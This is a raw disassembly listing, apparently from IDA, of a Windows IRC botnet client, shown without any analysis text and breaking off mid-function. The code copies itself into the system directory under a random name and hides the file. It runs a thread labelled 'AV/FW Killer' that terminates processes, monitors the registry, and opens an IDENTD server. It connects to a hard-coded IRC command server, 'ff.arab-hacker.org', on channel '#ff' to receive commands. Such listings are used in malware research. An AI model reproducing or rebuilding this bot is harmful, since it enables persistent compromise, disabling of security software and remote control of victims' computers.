cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_408BA2
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_98] ; int
call sub_405E64
add esp, 14h
loc_408BA2: ; CODE XREF: sub_408AE3+9Dj
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_14]
call sub_411F56
pop ecx
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
sub_408AE3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_408BC1 proc near ; CODE XREF: sub_409557+3EA9p
; sub_411D75+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call ds:dword_41B10C ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_408BF3
push 0
push esi
call ds:dword_41B104 ; TerminateProcess
test eax, eax
jnz short loc_408BF3
push esi
xor edi, edi
call ds:dword_41B050 ; CloseHandle
loc_408BF3: ; CODE XREF: sub_408BC1+1Aj
; sub_408BC1+27j
mov eax, edi
pop edi
pop esi
retn
sub_408BC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_408BF8 proc near ; DATA XREF: WinMain(x,x,x,x)+3CAo
push esi
xor esi, esi
loc_408BFB: ; CODE XREF: sub_408BF8+1Ej
push 1 ; int
push esi ; int
push esi ; Str2
push esi ; int
push esi ; Str
push esi ; int
call sub_4088B4
add esp, 18h
push dword_421F04
call ds:dword_41B048 ; Sleep
jmp short loc_408BFB
sub_408BF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
_WinMain@16 proc near ; CODE XREF: start+C9p
var_99C = dword ptr -99Ch
var_98C = byte ptr -98Ch
var_888 = byte ptr -888h
var_887 = byte ptr -887h
Ext = byte ptr -6F8h
Filename = byte ptr -5F8h
Str = byte ptr -4F8h
SubStr = byte ptr -3F4h
FullPath = byte ptr -2F0h
Dest = byte ptr -1ECh
var_E8 = dword ptr -0E8h
var_DC = dword ptr -0DCh
var_BC = dword ptr -0BCh
var_B8 = word ptr -0B8h
Source = byte ptr -0A4h
Dst = dword ptr -24h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
hInstance = dword ptr 8
hPrevInstance = dword ptr 0Ch
lpCmdLine = dword ptr 10h
nShowCmd = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 98Ch
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_10], ebx
mov [ebp+var_C], offset sub_403DCB
push [ebp+var_C]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_41B078
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4750D0, eax
call esi ; GetTickCount
push eax
call sub_41274C
pop ecx
call sub_405EFF
push 2
call dword_42EC5C ; SetErrorMode
push 7530h
push offset aFenr ; "FEnR"
push ebx
push ebx
call ds:dword_41B120 ; CreateMutexA
push eax
call ds:dword_41B11C ; WaitForSingleObject
cmp eax, 102h
jnz short loc_408C98
push 1
call ds:dword_41B090 ; ExitProcess
loc_408C98: ; CODE XREF: WinMain(x,x,x,x)+76j
lea eax, [ebp+var_888]
push eax
push 202h
call dword_42EB38 ; WSAStartup
cmp eax, ebx
mov [ebp+var_C], eax
jnz loc_40926E
cmp [ebp+var_888], 2
jnz loc_409268
xor eax, eax
mov al, [ebp+var_887]
cmp al, 2
jnz loc_409268
mov esi, 104h
lea eax, [ebp+SubStr]
push esi
push eax
call ds:dword_41B098 ; GetSystemDirectoryA
lea eax, [ebp+FullPath]
push esi
push eax
push ebx
call ds:dword_41B0CC ; GetModuleHandleA
push eax
call ds:dword_41B068 ; GetModuleFileNameA
lea eax, [ebp+Ext]
push eax ; Ext
lea eax, [ebp+Filename]
push eax ; Filename
push ebx ; Dir
lea eax, [ebp+FullPath]
push ebx ; Drive
push eax ; FullPath
call __splitpath
lea eax, [ebp+Ext]
push eax
lea eax, [ebp+Filename]
push eax
push offset aSS ; "%s%s"
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
lea eax, [ebp+FullPath]
push eax ; Str
call _strstr
add esp, 30h
test eax, eax
jnz loc_408F0D
cmp dword_424A58, ebx
mov esi, offset aGvujaleodq_exe ; "gvujaleodq.exe"
jz short loc_408D93
push esi ; Str
xor edi, edi
call _strlen
sub eax, 4
pop ecx
jz short loc_408D93
loc_408D70: ; CODE XREF: WinMain(x,x,x,x)+179j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
push esi ; Str
add dl, 61h
mov byte ptr aGvujaleodq_exe[edi], dl ; "gvujaleodq.exe"
inc edi
call _strlen
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_408D70
loc_408D93: ; CODE XREF: WinMain(x,x,x,x)+148j
; WinMain(x,x,x,x)+156j
lea eax, [ebp+SubStr]
push esi
push eax
lea eax, [ebp+Dest]
push offset aSS_0 ; "%s\\%s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
call ds:dword_41B0A8 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_408DD3
lea eax, [ebp+Dest]
push 80h
push eax
call ds:dword_41B000 ; SetFileAttributesA
loc_408DD3: ; CODE XREF: WinMain(x,x,x,x)+1A7j
mov esi, ds:dword_41B118
lea eax, [ebp+Dest]
push ebx
push eax
lea eax, [ebp+FullPath]
xor edi, edi
push eax
loc_408DEA: ; CODE XREF: WinMain(x,x,x,x)+209j
call esi ; CopyFileA
test eax, eax
jnz short loc_408E23
call ds:dword_41B060 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_408E23
cmp eax, 20h
jz short loc_408E04
cmp eax, 5
jnz short loc_408E23
loc_408E04: ; CODE XREF: WinMain(x,x,x,x)+1E5j
push 1
pop edi
push 3A98h
call ds:dword_41B048 ; Sleep
lea eax, [ebp+Dest]
push ebx
push eax
lea eax, [ebp+FullPath]
push eax
jmp short loc_408DEA
; ---------------------------------------------------------------------------
loc_408E23: ; CODE XREF: WinMain(x,x,x,x)+1D6j
; WinMain(x,x,x,x)+1E0j ...
lea eax, [ebp+Dest]
push eax
call sub_407184
pop ecx
lea eax, [ebp+Dest]
push 7
push eax
call ds:dword_41B000 ; SetFileAttributesA
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_E8]
pop esi
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_E8], esi
mov [ebp+var_DC], offset byte_428D64
mov [ebp+var_B8], bx
push 1
pop esi
mov [ebp+var_BC], esi
call ds:dword_41B114 ; GetCurrentProcessId
push eax
push esi
push 100000h
call ds:dword_41B10C ; OpenProcess
lea ecx, [ebp+FullPath]
push ecx
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_98C]
push offset aSDS ; "%s %d \"%s\""
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_E8]
push eax
lea eax, [ebp+SubStr]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_98C]
push ebx
push eax
lea eax, [ebp+Dest]
push eax
call ds:dword_41B094 ; CreateProcessA
test eax, eax
jz short loc_408F0D
push 0C8h
call ds:dword_41B048 ; Sleep
push [ebp+Dst]
mov esi, ds:dword_41B050
call esi ; CloseHandle
push [ebp+var_20]
call esi ; CloseHandle
call dword_42EB20 ; WSACleanup
push ebx
call ds:dword_41B090 ; ExitProcess
loc_408F0D: ; CODE XREF: WinMain(x,x,x,x)+137j
; WinMain(x,x,x,x)+2CBj
cmp dword_475540, 2
jle short loc_408F59
mov eax, dword_475544
push dword ptr [eax+4] ; Str
call _atoi
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call ds:dword_41B11C ; WaitForSingleObject
push esi
call ds:dword_41B050 ; CloseHandle
mov eax, dword_475544
cmp [eax+8], ebx
jz short loc_408F59
push 7D0h
call ds:dword_41B048 ; Sleep
mov eax, dword_475544
push dword ptr [eax+8]
call ds:dword_41B110 ; DeleteFileA
loc_408F59: ; CODE XREF: WinMain(x,x,x,x)+2FCj
; WinMain(x,x,x,x)+326j
cmp dword_424A5C, ebx
jz short loc_408F76
cmp dword_42EC80, ebx
jnz short loc_408F76
lea eax, [ebp+Str]
push eax ; Str
call sub_402FA4
pop ecx
loc_408F76: ; CODE XREF: WinMain(x,x,x,x)+347j
; WinMain(x,x,x,x)+34Fj
lea eax, [ebp+Source]
push offset aMainBotStarted ; "[MAIN]: Bot started."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push ebx ; int
push eax ; Source
call sub_411C3A
lea eax, [ebp+Source]
push eax
call sub_402D63
push 0B80h ; Size
push ebx ; Val
push offset Str1 ; Dst
call _memset
lea eax, [ebp+Source]
push offset aProcsAvFwKille ; "[PROCS]: AV/FW Killer active."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 1 ; int
push eax ; Source
call sub_411C3A
add esp, 38h
mov edi, eax
mov esi, ds:dword_41B064
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_408BF8
push ebx
push ebx
call esi ; CreateThread
imul edi, 234h
cmp eax, ebx
mov dword_430554[edi], eax
jnz short loc_409016
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset aProcsFailedToS ; "[PROCS]: Failed to start AV/FW killer t"...
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_409016: ; CODE XREF: WinMain(x,x,x,x)+3E1j
lea eax, [ebp+Source]
push eax ; Format
call sub_402D63
lea eax, [ebp+Source]
mov [esp+99Ch+var_99C], offset aSecureRegistry ; "[SECURE]: Registry monitor active."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 1 ; int
push eax ; Source
call sub_411C3A
add esp, 14h
mov edi, eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+Str]
push ebx
push eax
push offset sub_403014
push ebx
push ebx
call esi ; CreateThread
imul edi, 234h
cmp eax, ebx
mov dword_430554[edi], eax
jnz short loc_409089
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset aSecureFailedTo ; "[SECURE]: Failed to start registry thre"...
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_409089: ; CODE XREF: WinMain(x,x,x,x)+454j
lea eax, [ebp+Source]
push eax
call sub_402D63
push 2
call sub_411E82
pop ecx
test eax, eax
pop ecx
jnz short loc_40910E
lea eax, [ebp+Source]
push offset aIdentdServerRu ; "[IDENTD]: Server running on Port: 113."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 2 ; int
push eax ; Source
call sub_411C3A
add esp, 14h
mov edi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push edi
push offset sub_405C73
push ebx
push ebx
call esi ; CreateThread
imul edi, 234h
cmp eax, ebx
mov dword_430554[edi], eax
jnz short loc_409101
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset aIdentdFailedTo ; "[IDENTD]: Failed to start server, error"...
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_409101: ; CODE XREF: WinMain(x,x,x,x)+4CCj
lea eax, [ebp+Source]
push eax
call sub_402D63
pop ecx
loc_40910E: ; CODE XREF: WinMain(x,x,x,x)+488j
call _rand
push 0Ah
xor edx, edx
pop ecx
div ecx
push 7Fh ; Count
push offset aFf_arabHacker_ ; "ff.arab-hacker.org"
push offset byte_4750DC ; Dest
mov dword_475254, edx
call _strncpy
mov eax, dword_424A3C
push 3Fh ; Count
mov edi, offset byte_47515C
push offset aFf ; "#ff"
push edi ; Dest
mov dword_47522C, eax
call _strncpy
push 3Fh ; Count
mov esi, offset byte_47519C
push offset aFuckoff ; "fuckoff"
push esi ; Dest
call _strncpy
add esp, 24h
mov dword_475230, ebx
loc_409168: ; CODE XREF: WinMain(x,x,x,x)+5F6j
; WinMain(x,x,x,x)+601j ...
mov [ebp+var_4], ebx
loc_40916B: ; CODE XREF: WinMain(x,x,x,x)+5AAj
cmp dword_42EC98, ebx
jnz short loc_409189
lea eax, [ebp+var_14]
push ebx
push eax
call dword_42EB08 ; InternetGetConnectedState
test eax, eax
jnz short loc_409189
push 7530h
jmp short loc_4091B5
; ---------------------------------------------------------------------------
loc_409189: ; CODE XREF: WinMain(x,x,x,x)+559j
; WinMain(x,x,x,x)+568j
push offset dword_4750D8
mov dword_475250, ebx
call sub_409277
cmp eax, 2
mov [ebp+var_C], eax
jz loc_409263
cmp dword_475250, ebx
jz short loc_4091B0
dec [ebp+var_4]
loc_4091B0: ; CODE XREF: WinMain(x,x,x,x)+593j
push 0BB8h
loc_4091B5: ; CODE XREF: WinMain(x,x,x,x)+56Fj
call ds:dword_41B048 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_40916B
cmp [ebp+var_C], 2
jz loc_409263
cmp [ebp+var_10], ebx
jz short loc_409213
push 7Fh ; Count
push offset aFf_arabHacker_ ; "ff.arab-hacker.org"
push offset byte_4750DC ; Dest
call _strncpy
mov eax, dword_424A3C
push 3Fh ; Count
push offset aFf ; "#ff"
push edi ; Dest
mov dword_47522C, eax
call _strncpy
push 3Fh ; Count
push offset aFuckoff ; "fuckoff"
push esi ; Dest
call _strncpy
add esp, 24h
mov [ebp+var_10], ebx
jmp loc_409168
; ---------------------------------------------------------------------------
loc_409213: ; CODE XREF: WinMain(x,x,x,x)+5B9j
cmp byte_475244, bl
jz loc_409168
push 7Fh ; Count
push offset byte_475244 ; Source
push offset byte_4750DC ; Dest
call _strncpy
mov eax, dword_424A40
push 3Fh ; Count
push offset byte_475248 ; Source
push edi ; Dest
mov dword_47522C, eax
call _strncpy
push 3Fh ; Count
push offset byte_47524C ; Source
push esi ; Dest
call _strncpy
add esp, 24h
mov [ebp+var_10], 1
jmp loc_409168
; ---------------------------------------------------------------------------
loc_409263: ; CODE XREF: WinMain(x,x,x,x)+587j
; WinMain(x,x,x,x)+5B0j
call sub_411E03
loc_409268: ; CODE XREF: WinMain(x,x,x,x)+A4j
; WinMain(x,x,x,x)+B4j
call dword_42EB20 ; WSACleanup
loc_40926E: ; CODE XREF: WinMain(x,x,x,x)+97j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
_WinMain@16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409277 proc near ; CODE XREF: WinMain(x,x,x,x)+57Cp
; DATA XREF: sub_409557+3363o
var_190 = dword ptr -190h
Args = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dest = byte ptr -2Ch
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40929C: ; CODE XREF: sub_409277+E6j
; sub_409277+136j ...
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_3C]
call dword_42EBB4 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+Args]
push eax
call sub_4082EB
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_4093C9
push 1Ch ; Size
lea eax, [ebp+Dest]
push 0 ; Val
push eax ; Dst
call _memset
push 0 ; Str1
lea eax, [ebp+Dest]
push dword_424A6C ; int
push dword_424A68 ; int
push eax ; Dest
call sub_40FA38
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh ; Count
add eax, offset byte_430558
push edi ; Source
push eax ; Dest
call _strncpy
add esp, 28h
push 6
push 1
push 2
call dword_42EC30 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43054C[eax], esi
lea eax, [ebp+Dst]
push eax
push esi
call dword_42EB60 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_409362
push esi
call dword_42EC48 ; closesocket
call sub_408314
push 7D0h
loc_409357: ; CODE XREF: sub_409277+146j
call ds:dword_41B048 ; Sleep
jmp loc_40929C
; ---------------------------------------------------------------------------
loc_409362: ; CODE XREF: sub_409277+CDj
lea eax, [ebp+Args]
push eax ; Args
push offset aMainConnectedT ; "[MAIN]: Connected to %s."
call sub_402DD7
push [ebp+var_38]
lea eax, [ebp+Args]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_4093DF
add esp, 28h
mov edi, eax
push esi
call dword_42EC48 ; closesocket
test edi, edi
jz loc_40929C
cmp edi, 1
jnz short loc_4093BF
push 0DBBA0h
jmp short loc_409357
; ---------------------------------------------------------------------------
loc_4093BF: ; CODE XREF: sub_409277+13Fj
cmp edi, 2
jz short loc_4093CD
jmp loc_40929C
; ---------------------------------------------------------------------------
loc_4093C9: ; CODE XREF: sub_409277+5Aj
xor eax, eax
jmp short loc_4093D9
; ---------------------------------------------------------------------------
loc_4093CD: ; CODE XREF: sub_409277+14Bj
push [ebp+var_34]
call sub_411F56
pop ecx
push 2
pop eax
loc_4093D9: ; CODE XREF: sub_409277+154j
pop edi
pop esi
leave
retn 4
sub_409277 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4093DF proc near ; CODE XREF: sub_409277+123p
Dst = byte ptr -1A10h
var_A10 = dword ptr -0A10h
var_240 = dword ptr -240h
Str1 = byte ptr -1A0h
Str = byte ptr -0A0h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call __alloca_probe
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+Str1]
pop ecx
loc_4093FD: ; CODE XREF: sub_4093DF+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_4093FD
cmp byte_475240, bl
jz short loc_409424
push offset byte_475240 ; Args
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0] ; int
call sub_405E1E
add esp, 0Ch
loc_409424: ; CODE XREF: sub_4093DF+2Ej
push [ebp+arg_C]
lea eax, [ebp+Dest]
push ebx ; Str1
push ebx ; int
push 2 ; int
push eax ; Dest
call sub_40FA38
add esp, 10h
push eax
lea eax, [ebp+Str]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_0]
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40948E
push [ebp+arg_0]
call dword_42EC48 ; closesocket
push 1388h
call ds:dword_41B048 ; Sleep
loc_409487: ; CODE XREF: sub_4093DF+D9j
; sub_4093DF+153j
xor eax, eax
loc_409489: ; CODE XREF: sub_4093DF+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40948E: ; CODE XREF: sub_4093DF+92j
; sub_4093DF+F8j ...
mov esi, 1000h
lea eax, [ebp+Dst]
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_42EBCC ; recv
test eax, eax
jle short loc_409487
lea eax, [ebp+var_A10]
push eax ; int
lea eax, [ebp+Dst]
push eax ; Str
call sub_406E70
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40948E
lea edi, [ebp+var_A10]
loc_4094DF: ; CODE XREF: sub_4093DF+165j
push 1
pop esi
loc_4094E2: ; CODE XREF: sub_4093DF+144j
push [ebp+arg_1C] ; int
lea eax, [ebp+var_8]
push esi ; File
push eax ; int
lea eax, [ebp+var_240]
push eax ; int
lea eax, [ebp+Str1]
push eax ; Str1
push [ebp+arg_18] ; int
push [ebp+arg_C] ; Dest
push [ebp+arg_8] ; int
push [ebp+arg_4] ; int
push [ebp+arg_0] ; int
push dword ptr [edi] ; Src
call sub_409557
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_409525
push 7D0h
call ds:dword_41B048 ; Sleep
jmp short loc_4094E2
; ---------------------------------------------------------------------------
loc_409525: ; CODE XREF: sub_4093DF+137j
cmp esi, 0FFFFFFFDh
jz short loc_40954F
cmp esi, 0FFFFFFFEh
jz short loc_40954B
cmp esi, 0FFFFFFFFh
jz loc_409487
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_4094DF
jmp loc_40948E
; ---------------------------------------------------------------------------
loc_40954B: ; CODE XREF: sub_4093DF+14Ej
push 1
jmp short loc_409551
; ---------------------------------------------------------------------------
loc_40954F: ; CODE XREF: sub_4093DF+149j
push 2
loc_409551: ; CODE XREF: sub_4093DF+16Ej
pop eax
jmp loc_409489
sub_4093DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_409557(char *Src,int,int,int,char *Dest,int,char *Str1,int,int,char *File,int)
sub_409557 proc near ; CODE XREF: sub_4093DF+12Ap
var_159C = byte ptr -159Ch
var_119C = byte ptr -119Ch
var_F9C = byte ptr -0F9Ch
var_D9C = byte ptr -0D9Ch
var_C9C = byte ptr -0C9Ch
var_C98 = byte ptr -0C98h
Filename = byte ptr -0B98h
var_B94 = byte ptr -0B94h
var_A94 = byte ptr -0A94h
var_A14 = byte ptr -0A14h
var_9B3 = byte ptr -9B3h
var_9B2 = byte ptr -9B2h
var_9B0 = byte ptr -9B0h
var_9AF = byte ptr -9AFh
var_9A6 = byte ptr -9A6h
var_9A4 = byte ptr -9A4h
var_9A2 = byte ptr -9A2h
var_9A1 = byte ptr -9A1h
var_914 = dword ptr -914h
var_910 = byte ptr -910h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = byte ptr -804h
var_7F8 = dword ptr -7F8h
var_7F4 = dword ptr -7F4h
var_7F0 = byte ptr -7F0h
var_788 = byte ptr -788h
var_778 = dword ptr -778h
var_774 = byte ptr -774h
var_770 = byte ptr -770h
var_744 = dword ptr -744h
var_740 = byte ptr -740h
var_704 = dword ptr -704h
var_700 = byte ptr -700h
var_6F4 = byte ptr -6F4h
var_6F0 = byte ptr -6F0h
var_6C0 = byte ptr -6C0h
var_689 = byte ptr -689h
var_688 = byte ptr -688h
var_680 = byte ptr -680h
var_674 = byte ptr -674h
var_670 = byte ptr -670h
var_600 = byte ptr -600h
var_5FC = dword ptr -5FCh
var_5F8 = dword ptr -5F8h
var_5F4 = dword ptr -5F4h
var_5F0 = byte ptr -5F0h
var_588 = dword ptr -588h
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_578 = dword ptr -578h
var_574 = dword ptr -574h
var_570 = dword ptr -570h
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = byte ptr -564h
var_548 = byte ptr -548h
var_4F8 = dword ptr -4F8h
var_4F4 = byte ptr -4F4h
var_4F0 = dword ptr -4F0h
var_4EC = byte ptr -4ECh
var_4E0 = dword ptr -4E0h
var_4DC = byte ptr -4DCh
var_4AC = dword ptr -4ACh
var_48C = dword ptr -48Ch
var_474 = byte ptr -474h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = byte ptr -448h
var_444 = byte ptr -444h
var_430 = byte ptr -430h
var_420 = byte ptr -420h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_3F8 = dword ptr -3F8h
var_3F4 = byte ptr -3F4h
FullPath = byte ptr -3E8h
var_3E4 = byte ptr -3E4h
var_3C4 = byte ptr -3C4h
var_3A0 = byte ptr -3A0h
var_384 = byte ptr -384h
var_374 = byte ptr -374h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2D8 = word ptr -2D8h
var_2D6 = word ptr -2D6h
Drive = dword ptr -2D4h
Dst = byte ptr -2C8h
var_C8 = dword ptr -0C8h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
SubStr = byte ptr -0A0h
Str2 = dword ptr -94h
Args = byte ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
Str = dword ptr -84h
Format = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_18 = byte ptr -18h
Source = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Dest = dword ptr 18h
arg_14 = dword ptr 1Ch
Str1 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
File = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 159Ch
call __alloca_probe
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_A8], 3
mov [ebp+var_10], ebx
mov [ebp+var_AC], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_C8], ebx
call _memset
push 1Bh ; Count
lea eax, [ebp+var_564]
push [ebp+Dest] ; Source
push eax ; Dest
call _strncpy
add esp, 18h
cmp [ebp+Src], ebx
jz loc_4099D2
push esi ; Size
lea eax, [ebp+var_F9C]
push ebx ; Val
push eax ; Dst
call _memset
dec esi
lea eax, [ebp+var_F9C]
push esi ; Count
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_F9C]
push offset asc_427350 ; " :"
push eax ; Str
call _strstr
mov [ebp+var_C], eax
lea eax, [ebp+var_F9C]
push esi ; Count
push eax ; Source
lea eax, [ebp+var_119C]
push eax ; Dest
call _strncpy
mov esi, offset Delim ; " "
lea eax, [ebp+var_119C]
push esi ; Delim
push eax ; Str
call _strtok
add esp, 34h
mov [ebp+Str2], eax
lea edi, [ebp+Args]
mov [ebp+var_A4], 1Fh
loc_40962A: ; CODE XREF: sub_409557+E7j
push esi ; Delim
push ebx ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A4]
pop ecx
jnz short loc_40962A
mov esi, [ebp+Str2]
cmp esi, ebx
jz loc_4099D2
cmp dword ptr [ebp+Args], ebx
jz loc_4099D2
push 100h ; Size
lea eax, [ebp+var_A14]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea ecx, [ebp+var_18]
push 1Fh
pop edx
push 1
pop edi
loc_409678: ; CODE XREF: sub_409557+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_4096A4
cmp byte ptr [eax], 2Dh
jnz short loc_4096AC
cmp [eax+2], bl
jnz short loc_4096AC
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_A14], 1
mov esi, [ebp+Str2]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_4096A4: ; CODE XREF: sub_409557+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_409678
loc_4096AC: ; CODE XREF: sub_409557+12Aj
; sub_409557+12Fj
cmp [ebp+var_9A1], bl
jz short loc_4096B7
mov [ebp+var_8], edi
loc_4096B7: ; CODE XREF: sub_409557+15Bj
cmp [ebp+var_9A6], bl
jz short loc_4096C5
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_4096C5: ; CODE XREF: sub_409557+166j
cmp byte ptr [esi], 0Ah
jz short loc_4096FF
push 7Fh ; Count
lea eax, [ebp+var_A94]
push esi ; Source
push eax ; Dest
call _strncpy
lea eax, [esi+1]
push 17h ; Count
push eax ; Source
lea eax, [ebp+var_C4]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_C4]
push offset asc_42734C ; "!"
push eax ; Str
call _strtok
add esp, 20h
loc_4096FF: ; CODE XREF: sub_409557+171j
push esi ; Str2
push offset aPing ; "PING"
call _strcmp
pop ecx
